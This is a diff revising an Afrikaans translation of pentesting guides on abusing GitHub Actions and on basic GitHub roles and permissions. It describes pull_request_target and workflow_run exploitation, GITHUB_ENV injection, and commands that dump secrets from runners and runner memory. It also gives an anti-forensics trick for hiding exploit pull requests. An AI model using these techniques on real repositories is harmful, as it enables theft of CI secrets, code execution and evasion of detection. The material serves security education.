teikrepository en **toegang tot geheime** (en vra nie vir toestemming nie). Let daarop dat die werksvloei-trigger **`pull_request_target`** **in die basis konteks** loop en nie in die een gegee deur die PR nie (om **nie onbetroubare kode uit te voer**). Vir meer inligting oor `pull_request_target` [**kyk die dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk hierdie [**github blog pos**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). @@ -207,9 +207,9 @@ En hierdie een sal **toegang tot geheime** hê. ### `workflow_run` -Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n werksvloei van 'n ander een uit te voer wanneer dit `voltooi`, `gevraag` of `in_progress` is. +Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n werksvloei van 'n ander een te laat loop wanneer dit `voltooi`, `gevraag` of `in_progress` is. -In hierdie voorbeeld is 'n werksvloei geconfigureer om uit te voer nadat die aparte "Toets Hardloop" werksvloei voltooi is: +In hierdie voorbeeld is 'n werksvloei geconfigureer om te loop nadat die aparte "Toets Loop" werksvloei voltooi is: ```yaml on: workflow_run: @@ -217,9 +217,9 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: Die werksvloei wat deur die `workflow_run` gebeurtenis begin is, kan **toegang tot geheime hê en tokens skryf, selfs al was die vorige werksvloei nie**. +Boonop, volgens die dokumentasie: Die werksvloei wat deur die `workflow_run` gebeurtenis begin is, kan **toegang tot geheime hê en tokens skryf, selfs al was die vorige werksvloei nie**. -Hierdie tipe werksvloei kan aangeval word as dit **afhang** van 'n **werksvloei** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** geaktiveer kan word. 'n Paar kwesbare voorbeelde kan [**hierdie blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gevind word.** Die eerste een bestaan uit die **`workflow_run`** geaktiveerde werksvloei wat die aanvallerskode aflaai: `${{ github.event.pull_request.head.sha }}`\ +Hierdie tipe werksvloei kan aangeval word as dit **afhang** van 'n **werksvloei** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** geaktiveer kan word. 'n Paar kwesbare voorbeelde kan [**in hierdie blog gevind word**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die **`workflow_run`** geaktiveerde werksvloei wat die aanvaller se kode aflaai: `${{ github.event.pull_request.head.sha }}`\ Die tweede een bestaan uit **die oordrag** van 'n **artefak** van die **onbetroubare** kode na die **`workflow_run`** werksvloei en die gebruik van die inhoud van hierdie artefak op 'n manier wat dit **kwesbaar maak vir RCE**. ### `workflow_call` @@ -230,18 +230,18 @@ TODO: Kontroleer of wanneer dit vanaf 'n pull_request uitgevoer word, die gebrui ## Misbruik van Geforkte Uitvoering -Ons het al die maniere genoem hoe 'n eksterne aanvaller 'n github werksvloei kan laat uitvoer, kom ons kyk nou na hoe hierdie uitvoerings, as dit sleg geconfigureer is, misbruik kan word: +Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github werksvloei kan laat uitvoer, kom ons kyk nou na hoe hierdie uitvoerings, as dit sleg geconfigureer is, misbruik kan word: ### Onbetroubare checkout uitvoering -In die geval van **`pull_request`,** sal die werksvloei in die **konsep van die PR** uitgevoer word (so dit sal die **kwesbare PR se kode** uitvoer), maar iemand moet dit **eers goedkeur** en dit sal met 'n paar [beperkings](./#pull_request) loop. +In die geval van **`pull_request`,** sal die werksvloei in die **konteks van die PR** uitgevoer word (so dit sal die **kwaadaardige PR se kode** uitvoer), maar iemand moet dit **eers goedkeur** en dit sal met 'n paar [beperkings](./#pull_request) loop. In die geval van 'n werksvloei wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n werksvloei wat vanaf **`pull_request_target` of `pull_request`** geaktiveer kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**. > [!CAUTION] -> egter, as die **aksie** 'n **duidelike PR checkout** het wat **die kode van die PR** sal **kry** (en nie van die basis nie), sal dit die aanvallers beheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR kode afgelaai word): +> egter, as die **aksie** 'n **duidelike PR checkout** het wat **die kode van die PR** (en nie van die basis nie) sal **kry**, sal dit die aanvaller se beheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR kode afgelaai word): -
# ONVEILIG. Slegs as 'n voorbeeld verskaf.
+
# ONVEILIG. Verskaf net as 'n voorbeeld.
 on:
 pull_request_target
 
@@ -272,7 +272,7 @@ Dankie!
 Die potensieel **onbetroubare kode word tydens `npm install` of `npm build`** uitgevoer aangesien die bou skripte en verwysde **pakkette deur die outeur van die PR** beheer word.
 
 > [!WARNING]
-> 'n github dork om vir kwesbare aksies te soek is: `event.pull_request pull_request_target extension:yml` egter, daar is verskillende maniere om die werksgeleenthede te konfigureer om veilig uitgevoer te word selfs al is die aksie onveilig geconfigureer (soos om voorwaardes te gebruik oor wie die akteur is wat die PR genereer).
+> 'n github dork om vir kwesbare aksies te soek is: `event.pull_request pull_request_target extension:yml` egter, daar is verskillende maniere om die werksvloei veilig uit te voer selfs al is die aksie onveilig geconfigureer (soos om voorwaardes te gebruik oor wie die akteur is wat die PR genereer).
 
 ### Konteks Skrip Injekties 
 
@@ -282,13 +282,13 @@ Let daarop dat daar sekere [**github kontekste**](https://docs.github.com/en/act
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **GITHUB_ENV Skrip Injekie** 
+### **GITHUB_ENV Skrip Injektion** 
 
 Volgens die dokumentasie: Jy kan 'n **omgewing veranderlike beskikbaar maak vir enige daaropvolgende stappe** in 'n werksvloei taak deur die omgewing veranderlike te definieer of op te dateer en dit na die **`GITHUB_ENV`** omgewing lêer te skryf.
 
-As 'n aanvaller **enige waarde** binne hierdie **env** veranderlike kan **injekteer**, kan hy env veranderlikes injekteer wat kode in daaropvolgende stappe kan uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
+As 'n aanvaller **enige waarde** binne hierdie **env** veranderlike kan **injekteer**, kan hy env veranderlikes inplant wat kode in daaropvolgende stappe kan uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
 
-Byvoorbeeld ([**hierdie**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**hierdie**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou voor 'n werksvloei wat 'n geupload artefak vertrou om sy inhoud binne die **`GITHUB_ENV`** env veranderlike te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
+Byvoorbeeld ([**hierdie**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**hierdie**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou voor 'n werksvloei wat 'n geuploade artefak vertrou om sy inhoud binne die **`GITHUB_ENV`** env veranderlike te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
 
 
@@ -349,7 +349,7 @@ As 'n rekening sy naam verander, kan 'n ander gebruiker 'n rekening met daardie > [!CAUTION] > So as 'n aksie 'n repo van 'n nie-bestaande rekening gebruik, is dit steeds moontlik dat 'n aanvaller daardie rekening kan skep en die aksie kan kompromitteer. -As ander repositories **afhangklikhede van hierdie gebruiker repos** gebruik, sal 'n aanvaller in staat wees om hulle te hijack. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +As ander repositories **afhang van hierdie gebruiker se repos**, sal 'n aanvaller in staat wees om hulle te kap. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- @@ -360,7 +360,7 @@ As ander repositories **afhangklikhede van hierdie gebruiker repos** gebruik, sa ### Cache Poisoning -'n Cache word tussen **workflow-uitvoerings in dieselfde tak** gehandhaaf. Dit beteken dat as 'n aanvaller **kompromitteer** 'n **pakket** wat dan in die cache gestoor word en **afgelaai** en uitgevoer word deur 'n **meer bevoorregte** workflow, hy ook daardie workflow sal kan **kompromitteer**. +'n Cache word tussen **workflow-runs in dieselfde tak** gehandhaaf. Dit beteken dat as 'n aanvaller **kompromitteer** 'n **pakket** wat dan in die cache gestoor word en **afgelaai** en uitgevoer word deur 'n **meer bevoorregte** workflow, hy ook daardie workflow sal kan **kompromitteer**. {{#ref}} gh-actions-cache-poisoning.md @@ -392,13 +392,13 @@ Kyk na die volgende bladsye: ### Toegang tot geheime -As jy inhoud in 'n skrif inspuit, is dit interessant om te weet hoe jy toegang tot geheime kan kry: +As jy inhoud in 'n skrip inspuit, is dit interessant om te weet hoe jy toegang tot geheime kan kry: - As die geheim of token op 'n **omgewing veranderlike** gestel is, kan dit direk deur die omgewing met **`printenv`** aangespreek word.
-Lys geheime in Github Action-uitvoer +Lys geheime in Github Action-uitset ```yaml name: list_env on: @@ -456,7 +456,7 @@ cat /home/runner/work/_temp/* - ```bash ps axe | grep node ``` -- Vir 'n **aangepaste aksie** kan die risiko verskil, afhangende van hoe 'n program die geheim wat dit van die **argument** verkry het, gebruik: +- Vir 'n **aangepaste aksie** kan die risiko wissel, afhangende van hoe 'n program die geheim wat dit van die **argument** verkry het, gebruik: ```yaml uses: fakeaction/publish@v3 @@ -468,7 +468,7 @@ key: ${{ secrets.PUBLISH_KEY }} Die manier om te vind watter **Github Actions in nie-github infrastruktuur** uitgevoer word, is om te soek na **`runs-on: self-hosted`** in die Github Action konfigurasie yaml. -**Self-gehoste** lopers mag toegang hê tot **ekstra sensitiewe inligting**, na ander **netwerkstelsels** (kwetsbare eindpunte in die netwerk? metadata diens?) of, selfs al is dit geïsoleer en vernietig, kan **meer as een aksie gelyktydig uitgevoer word** en die kwaadwillige een kan die **geheime** van die ander steel. +**Self-gehoste** lopers mag toegang hê tot **ekstra sensitiewe inligting**, na ander **netwerkstelsels** (kwesbare eindpunte in die netwerk? metadata diens?) of, selfs al is dit geïsoleer en vernietig, kan **meer as een aksie gelyktydig uitgevoer word** en die kwaadwillige een kan die **geheime** van die ander steel. In self-gehoste lopers is dit ook moontlik om die **geheime van die \_Runner.Listener**\_\*\* proses\*\* te verkry wat al die geheime van die werksvloei op enige stap sal bevat deur sy geheue te dump: ```bash @@ -515,14 +515,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-Soos jy in die vorige kode kon sien, is die Github registrasie gehos in **`ghcr.io`**. +Soos wat jy in die vorige kode kon sien, is die Github registrasie gehost in **`ghcr.io`**. 'n Gebruiker met leesregte oor die repo sal dan in staat wees om die Docker Image af te laai met 'n persoonlike toegangsteken: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Then, the user could search for **leaked secrets in the Docker image layers:** +Dan kan die gebruiker **gelekte geheime in die Docker beeld lae soek:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -530,13 +530,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### Sensitiewe inligting in Github Actions logs -Selfs al probeer **Github** om **geheime waardes** in die aksies logs te **detecteer** en **te vermy om** hulle te wys, sal **ander sensitiewe data** wat in die uitvoering van die aksie gegenereer kon gewees het, nie versteek wees nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie versteek wees nie tensy dit [spesifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is. +Selfs al probeer **Github** om **geheime waardes** in die aksies logs te **ontdek** en **te vermy om** hulle te wys, sal **ander sensitiewe data** wat in die uitvoering van die aksie gegenereer kon gewees het nie versteek wees nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie versteek wees nie tensy dit [spesifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is. ## Bedek jou Spore -(Techniek van [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word, is duidelik sigbaar vir die publiek in Github en vir die teiken GitHub rekening. In GitHub kan ons **nie 'n PR van die internet verwyder** nie, maar daar is 'n draai. Vir GitHub rekeninge wat **gesuspend** is deur Github, word al hul **PRs outomaties verwyder** en van die internet verwyder. So om jou aktiwiteit te verberg, moet jy jou **GitHub rekening gesuspend kry of jou rekening geflag** kry. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou eksploit PR verwyder) +(Tegniek van [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word, is duidelik sigbaar vir die publiek in Github en vir die teiken GitHub rekening. In GitHub kan ons **nie 'n PR van die internet verwyder** nie, maar daar is 'n draai. Vir GitHub rekeninge wat deur Github **gesuspend** is, word al hul **PRs outomaties verwyder** en van die internet verwyder. So om jou aktiwiteit te verberg, moet jy jou **GitHub rekening gesuspendeer kry of jou rekening geflag** kry. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou eksploit PR verwyder) -'n Organisasie in GitHub is baie proaktief in die verslagdoening van rekeninge aan GitHub. Al wat jy moet doen is om “n paar goed” in 'n Issue te deel en hulle sal seker maak jou rekening word binne 12 uur gesuspend :p en daar het jy, jou eksploit onsigbaar gemaak op github. +'n Organisasie in GitHub is baie proaktief in die verslagdoening van rekeninge aan GitHub. Alles wat jy moet doen, is om "iets" in 'n Issue te deel en hulle sal seker maak jou rekening word binne 12 uur gesuspend :p en daar het jy, jou eksploit onsigbaar gemaak op github. > [!WARNING] > Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM te kontroleer, aangesien die PR van die GitHub UI verwyder sal word. diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index f77c0d2d3..9d6b2e389 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1 +1 @@ -# GH Actions - Cache Poisoning +# GH Actions - Cache Besmetting diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 9cef507bc..6e296e6be 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1 +1 @@ -# Gh Actions - Context Script Injections +# Gh Actions - Konteks Skrip Inspuitings diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index 83ab208ec..84d2d2230 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,10 +1,10 @@ -# Toeganklike Verwyderde Gegewens in Github +# Toeganklike Verwyderde Data in Github {{#include ../../banners/hacktricks-training.md}} -Hierdie maniere om toegang te verkry tot data van Github wat veronderstel is om verwyder te wees, is [**in hierdie blogpos gerapporteer**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Hierdie maniere om data van Github te verkry wat veronderstel was om verwyder te wees, is [**in hierdie blogpos gerapporteer**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). -## Toegang tot Verwyderde Fork Gegewens +## Toegang tot Verwyderde Fork Data 1. Jy fork 'n openbare repository 2. Jy commit kode na jou fork @@ -13,7 +13,7 @@ Hierdie maniere om toegang te verkry tot data van Github wat veronderstel is om > [!CAUTION] > Die data wat in die verwyderde fork gecommit is, is steeds toeganklik. -## Toegang tot Verwyderde Repo Gegewens +## Toegang tot Verwyderde Repo Data 1. Jy het 'n openbare repo op GitHub. 2. 'n Gebruiker fork jou repo. @@ -23,14 +23,14 @@ Hierdie maniere om toegang te verkry tot data van Github wat veronderstel is om > [!CAUTION] > Selfs al het jy jou repo verwyder, is al die veranderinge wat aan dit gemaak is steeds toeganklik deur die forks. -## Toegang tot Privaat Repo Gegewens +## Toegang tot Privaat Repo Data 1. Jy skep 'n privaat repo wat uiteindelik openbaar gemaak sal word. 2. Jy skep 'n privaat, interne weergawe van daardie repo (deur te fork) en commit addisionele kode vir funksies wat jy nie openbaar gaan maak nie. 3. Jy maak jou “upstream” repository openbaar en hou jou fork privaat. > [!CAUTION] -> Dit is moontlik om al die data wat na die interne fork gepush is, te bekom in die tyd tussen die interne fork geskep is en die openbare weergawe openbaar gemaak is. +> Dit is moontlik om al die data wat na die interne fork gepush is, te verkry in die tyd tussen die interne fork geskep is en die openbare weergawe openbaar gemaak is. ## Hoe om commits van verwyderde/verborgene forks te ontdek @@ -38,7 +38,7 @@ Die dieselfde blogpos stel 2 opsies voor: ### Direk toegang tot die commit -As die commit ID (sha-1) waarde bekend is, is dit moontlik om dit te bekom in `https://github.com///commit/` +As die commit ID (sha-1) waarde bekend is, is dit moontlik om dit te verkry in `https://github.com///commit/` ### Brute-forcing kort SHA-1 waardes diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index bdf943045..c9abd72af 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -4,7 +4,7 @@ ## Basiese Struktuur -Die basiese github omgewingstruktuur van 'n groot **maatskappy** is om 'n **onderneming** te besit wat **verskeie organisasies** besit en elkeen van hulle kan **verskeie repositories** en **verskeie span** bevat. Klein maatskappye mag net **een organisasie en geen ondernemings** besit nie. +Die basiese github omgewingstruktuur van 'n groot **maatskappy** is om 'n **onderneming** te besit wat **verskeie organisasies** besit en elkeen van hulle kan **verskeie repositories** en **verskeie span** bevat. Klein maatskappye mag net **een organisasie en geen ondernemings** besit. Vanuit 'n gebruiker se perspektief kan 'n **gebruiker** 'n **lid** van **verskillende ondernemings en organisasies** wees. Binne hulle kan die gebruiker **verskillende onderneming, organisasie en repository rolle** hê. @@ -16,7 +16,7 @@ En uiteindelik kan **repositories spesiale beskermingsmeganismes** hê. ### Onderneming Rolle -- **Ondernemingseienaar**: Mense met hierdie rol kan **administrateurs bestuur, organisasies binne die onderneming bestuur, onderneminginstellings bestuur, beleid afdwing oor organisasies**. Hulle **kan egter nie toegang tot organisasie-instellings of inhoud** verkry tensy hulle 'n organisasie-eienaar gemaak word of direkte toegang tot 'n organisasie-besit repository gegee word nie. +- **Ondernemingseienaar**: Mense met hierdie rol kan **administrateurs bestuur, organisasies binne die onderneming bestuur, onderneminginstellings bestuur, beleid afdwing oor organisasies**. Hulle **kan egter nie toegang tot organisasie-instellings of inhoud** verkry tensy hulle 'n organisasie-eienaar gemaak word of direkte toegang tot 'n organisasie-besit repository gegee word. - **Ondernemingslede**: Lede van organisasies wat deur jou onderneming besit word, is ook **outomaties lede van die onderneming**. ### Organisasie Rolle @@ -29,7 +29,7 @@ In 'n organisasie kan gebruikers verskillende rolle hê: - **Sekuriteitsbestuurders**: Dit is 'n rol wat organisasie-eienaars aan enige span in 'n organisasie kan toewys. Wanneer toegepas, gee dit elke lid van die span toestemming om **sekuriteitswaarskuwings en instellings oor jou organisasie te bestuur, sowel as leestoestemmings vir alle repositories** in die organisasie. - As jou organisasie 'n sekuriteitspan het, kan jy die sekuriteitsbestuurderrol gebruik om lede van die span die minste toegang te gee wat hulle nodig het tot die organisasie. - **Github App bestuurders**: Om addisionele gebruikers toe te laat om **GitHub Apps wat deur 'n organisasie besit word te bestuur**, kan 'n eienaar hulle GitHub App bestuurder toestemmings gee. -- **Buite samewerkers**: 'n Buite samewerker is 'n persoon wat **toegang het tot een of meer organisasie repositories maar nie eksplisiet 'n lid** van die organisasie is nie. +- **Buitelandse samewerkers**: 'n Buitelandse samewerker is 'n persoon wat **toegang het tot een of meer organisasie repositories maar nie eksplisiet 'n lid** van die organisasie is. Jy kan **die toestemmings** van hierdie rolle in hierdie tabel vergelyk: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) @@ -42,7 +42,7 @@ Die instellings hier geconfigureer sal die volgende toestemmings van lede van di - Wees admin, skrywer, leser of geen toestemming oor al die organisasie repos. - Of lede privaat, interne of openbare repositories kan skep. - Of fork van repositories moontlik is. -- Of dit moontlik is om buite samewerkers uit te nooi. +- Of dit moontlik is om buitelandse samewerkers uit te nooi. - Of openbare of private webwerwe gepubliseer kan word. - Die toestemmings wat administrateurs oor die repositories het. - Of lede nuwe spanne kan skep. @@ -63,7 +63,7 @@ Jy kan ook **jou eie rolle skep** in _https://github.com/organizations/\/teams_. Let daarop dat jy toegang tot die spanne wat kinders van ander spanne is, moet hê deur elke ouer span te benader. +Jy kan **die spanne wat in 'n organisasie geskep is lys** in _https://github.com/orgs/\/teams_. Let daarop dat jy om die spanne wat kinders van ander spanne is te sien, elke ouer span moet toegang. ### Gebruikers @@ -77,7 +77,7 @@ Github bied verskillende maniere om jou rekening te verifieer en aksies namens j ### Webtoegang -Deur **github.com** te benader, kan jy aanmeld met jou **gebruikersnaam en wagwoord** (en 'n **2FA moontlik**). +Deur **github.com** te benader kan jy aanmeld met jou **gebruikersnaam en wagwoord** (en 'n **2FA moontlik**). ### **SSH Sleutels** @@ -89,7 +89,7 @@ Jy **kan nie die gebruiker met hierdie sleutels naboots nie**, maar as jy dit ni ### **Persoonlike Toegangstokens** -Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer jy 'n persoonlike toegangstoken skep, moet die **gebruiker** die **toestemmings** spesifiseer wat die **token** sal hê. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer 'n persoonlike toegangstoken geskep word, moet die **gebruiker** die **toestemmings** spesifiseer wat die **token** sal hê. [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth Toepassings @@ -105,12 +105,12 @@ Sommige **sekuriteitsaanbevelings**: - 'n **OAuth App** moet altyd **optree as die geverifieerde GitHub gebruiker oor die hele GitHub** (byvoorbeeld, wanneer gebruikerskennisgewings verskaf word) en met toegang slegs tot die gespesifiseerde skoppe. - 'n OAuth App kan as 'n identiteitsverskaffer gebruik word deur 'n "Aanmeld met GitHub" vir die geverifieerde gebruiker in te skakel. - **Moet nie** 'n **OAuth App** bou as jy wil hê jou toepassing moet op 'n **enkele repository** optree nie. Met die `repo` OAuth skop, kan OAuth Apps **optree op \_alle**\_\*\* van die geverifieerde gebruiker se repositories\*\*. -- **Moet nie** 'n OAuth App bou om as 'n toepassing vir jou **span of maatskappy** op te tree nie. OAuth Apps verifieer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep om te gebruik, en dan verlaat hulle die maatskappy, sal niemand anders toegang daartoe hê nie. +- **Moet nie** 'n OAuth App bou om as 'n toepassing vir jou **span of maatskappy** op te tree nie. OAuth Apps verifieer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep om te gebruik, en dan die maatskappy verlaat, sal niemand anders toegang hê nie. - **Meer** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). ### Github Toepassings -Github toepassings kan om toestemmings vra om **toegang tot jou github inligting te verkry of om jou na te boots** om spesifieke aksies oor spesifieke hulpbronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê. +Github toepassings kan om toestemmings te vra om **toegang tot jou github inligting of om jou na te boots** om spesifieke aksies oor spesifieke hulpbronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê. - Om 'n GitHub App te installeer, moet jy 'n **organisasie-eienaar wees of admin toestemmings** in 'n repository hê. - Die GitHub App moet **verbinde met 'n persoonlike rekening of 'n organisasie**. @@ -122,17 +122,17 @@ Github toepassings kan om toestemmings vra om **toegang tot jou github inligting Sommige sekuriteitsaanbevelings: - 'n GitHub App moet **aksies onafhanklik van 'n gebruiker neem** (tenzij die app 'n [gebruiker-naar-bediener](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token gebruik). Om gebruiker-naar-bediener toegangstokens veiliger te hou, kan jy toegangstokens gebruik wat na 8 uur verval, en 'n verfrissingstoken wat vir 'n nuwe toegangstoken omgeruil kan word. Vir meer inligting, sien "[Verfrissing van gebruiker-naar-bediener toegangstokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Maak seker dat die GitHub App integreer met **spesifieke repositories**. +- Maak seker die GitHub App integreer met **spesifieke repositories**. - Die GitHub App moet **verbinde met 'n persoonlike rekening of 'n organisasie**. - Moet nie verwag dat die GitHub App alles weet en doen wat 'n gebruiker kan nie. -- **Moet nie 'n GitHub App gebruik as jy net 'n "Aanmeld met GitHub" diens nodig het nie**. Maar 'n GitHub App kan 'n [gebruiker identifikasievloei](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers in te teken _en_ ander dinge te doen. -- Moet nie 'n GitHub App bou as jy _net_ wil optree as 'n GitHub gebruiker en alles wil doen wat daardie gebruiker kan doen nie. -- As jy jou app met GitHub Actions gebruik en workflow lêers wil wysig, moet jy namens die gebruiker verifieer met 'n OAuth token wat die `workflow` skop insluit. Die gebruiker moet admin of skryftoestemming hê tot die repository wat die workflow lêer bevat. Vir meer inligting, sien "[Begrip van skoppe vir OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Moet nie 'n GitHub App gebruik as jy net 'n "Aanmeld met GitHub" diens nodig het nie**. Maar 'n GitHub App kan 'n [gebruiker identifikasievloei](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers in te log en ander dinge te doen. +- Moet nie 'n GitHub App bou as jy _net_ wil optree as 'n GitHub gebruiker en alles doen wat daardie gebruiker kan doen nie. +- As jy jou app met GitHub Actions gebruik en workflow lêers wil wysig, moet jy namens die gebruiker verifieer met 'n OAuth token wat die `workflow` skop insluit. Die gebruiker moet admin of skryf toestemming hê tot die repository wat die workflow lêer bevat. Vir meer inligting, sien "[Begrip van skoppe vir OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." - **Meer** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -Dit **is nie 'n manier om in github te verifieer nie**, maar 'n **kwaadwillige** Github Action kan **ongemagtigde toegang tot github** verkry en **afhangende** van die **privileges** wat aan die Aksie gegee word, kan verskeie **verskillende aanvalle** uitgevoer word. Sien hieronder vir meer inligting. +Dit **is nie 'n manier om in github te verifieer nie**, maar 'n **kwaadwillige** Github Action kan **ongemagtigde toegang tot github** verkry en **afhangende** van die **privileges** wat aan die Action gegee word, kan verskeie **verskillende aanvalle** uitgevoer word. Sien hieronder vir meer inligting. ## Git Aksies @@ -140,17 +140,17 @@ Git aksies laat toe om die **uitvoering van kode te outomatiseer wanneer 'n gebe ### Konfigurasie -In _https://github.com/organizations/\/settings/actions_ is dit moontlik om die **konfigurasie van die github aksies** vir die organisasie te kontroleer. +In _https://github.com/organizations/\/settings/actions_ is dit moontlik om die **konfigurasie van die github actions** vir die organisasie te kontroleer. -Dit is moontlik om die gebruik van github aksies heeltemal te verbied, **alle github aksies toe te laat**, of net sekere aksies toe te laat. +Dit is moontlik om die gebruik van github actions heeltemal te verbied, **alle github actions toe te laat**, of net sekere aksies toe te laat. -Dit is ook moontlik om te konfigureer **wie goedkeuring nodig het om 'n Github Aksie te laat loop** en die **toestemmings van die GITHUB_TOKEN** van 'n Github Aksie wanneer dit uitgevoer word. +Dit is ook moontlik om te konfigureer **wie goedkeuring benodig om 'n Github Action te laat loop** en die **toestemmings van die GITHUB_TOKEN** van 'n Github Action wanneer dit uitgevoer word. -### Git Geheime +### Git Geheimen -Github Aksie benodig gewoonlik 'n soort geheime om met github of derdeparty toepassings te kommunikeer. Om te **verhoed dat hulle in duidelike teks** in die repo geplaas word, laat github toe om hulle as **Geheime** te plaas. +Github Action benodig gewoonlik 'n soort geheim om met github of derdeparty toepassings te kommunikeer. Om **te verhoed dat hulle in duidelike teks** in die repo geplaas word, laat github toe om hulle as **Geheime** te plaas. -Hierdie geheime kan **vir die repo of vir die hele organisasie** geconfigureer word. Dan, om die **Aksie toegang tot die geheim te gee**, moet jy dit soos volg verklaar: +Hierdie geheime kan **vir die repo of vir die hele organisasie** geconfigureer word. Dan, om die **Action toegang tot die geheim te gee**, moet jy dit soos volg verklaar: ```yaml steps: - name: Hello world action @@ -168,77 +168,77 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Geheimnisse **kan slegs vanaf die Github Actions** wat hulle verklaar het, toeganklik wees. +> Geheime **kan slegs vanaf die Github Actions** wat dit 